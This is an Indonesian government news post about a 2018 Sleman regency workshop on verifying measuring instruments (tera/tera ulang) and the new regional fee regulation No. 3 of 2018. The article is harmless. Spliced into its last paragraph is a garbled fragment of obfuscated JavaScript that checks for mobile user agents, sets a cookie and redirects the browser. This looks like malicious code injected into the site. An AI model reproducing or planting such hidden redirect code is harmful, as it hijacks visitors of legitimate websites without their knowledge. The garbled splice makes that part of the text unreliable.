Sosialisasi Perda Retribusi untuk Pelayanan Tera/Tera Ulang


Oleh metrologi | 22 May 2018

Untuk memberikan informasi tentang pelayanan Tera dan Tera Ulang yang dilaksanakan oleh UPT Pelayanan Metrologi Legal kabupaten Sleman, melaksanakan kegiatan sosialisasi Sosialisasi Pelayanan Tera/Tera Ulang dan Perda Retribusi. Kegiatan yang berlangsung selama 2 (dua) hari yaitu tanggal 21 – 22 Mei 2018, dibuka oleh Kepala Dinas Perindustrian dan Perdagangan Kabupaten Sleman, Dra. Tri Endah Yitnani, M.Si dan bertempat di Ruang Rapat Paramadhana Diasperidag Kabupaten Sleman.

Dalam sambutannya, Ibu Kepala Dinas Disperidag menggarisbwahi pentingnya dunia kesehatan untuk perduli terhadap jaminan kebenaran UTTP di bidang medis dan kesehatan. Beliau menyampaikan jika Pelayanan tera/tera ulang yang sudah dilaksanakan oleh UPT Pelayanan Metrologi selama ini memang belum dikenakan tarif retribusi karena Perda Retribusi belum disahkan.A� Dan dengan diberlakukannya Perda Retribusi Tera/Tera Ulang No. 3 Tahun 2018, maka semua pelayanan tera/tera ulang akan dikenakan biaya retribusi dengan nilai yang berbeda-beda sesuai masing-masing UTTP.

Dalam kegiatan sosialisasi ini dismapaikan 2 (dua) materi pokok. Yang Pertama tentang perlunya masyarakat khususnya terhadap A�rumah sakit dan puskesmas yang ada di wilayah Kabupaten Sleman. Seperti diketahui bahwa Rumah sakit dan Puskesmas merupakan lembaga yang menyelenggarakan jasa layanan masyarakat (umum) di bidang kesehatan dituntut bisa memberikan jaminan kebenaran terhadap hasil pemeriksaan medis sebagai bentuk perlindungan konsumen dan kompetensi layanan yang diberikan agar bisa dipertanggungjawabkan. Oleh sebab itu, semua alat ukur, takar, timbang dan perlengkapannya (UTTP) yang digunakan oleh pihak Rumah sakit dan Puskesmas wajib dilakukan tera dan tera ulang secara rutin.

Penyampaian materi dari Bagian Hukum, Sendri Pratama Renuat, SH yang menjelaskan tentang Perda Retribusi Pelayanan Tera/Tera Ulang No. 3 Tahun 2018. Di dalam Perda ini ditetapkan besaran tariff retribusi dan jenis UTTP yang wajib dikenakan biaya retribusi. Adapun Perda ini berlaku secara umum, artinya instansi pemerintah juga wajib membayar biaya tera/tera ulang manakala menggunakan jasa pelayanan tera/tera ulang di UPT Pelayanan Metrologi Legal kab. Sleman. |utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Komentar

Tidak Ada Comment

Tinggalkan Komentar

Alamat email anda tidak akan disimpan dan dipublikasikan

Menu
Cari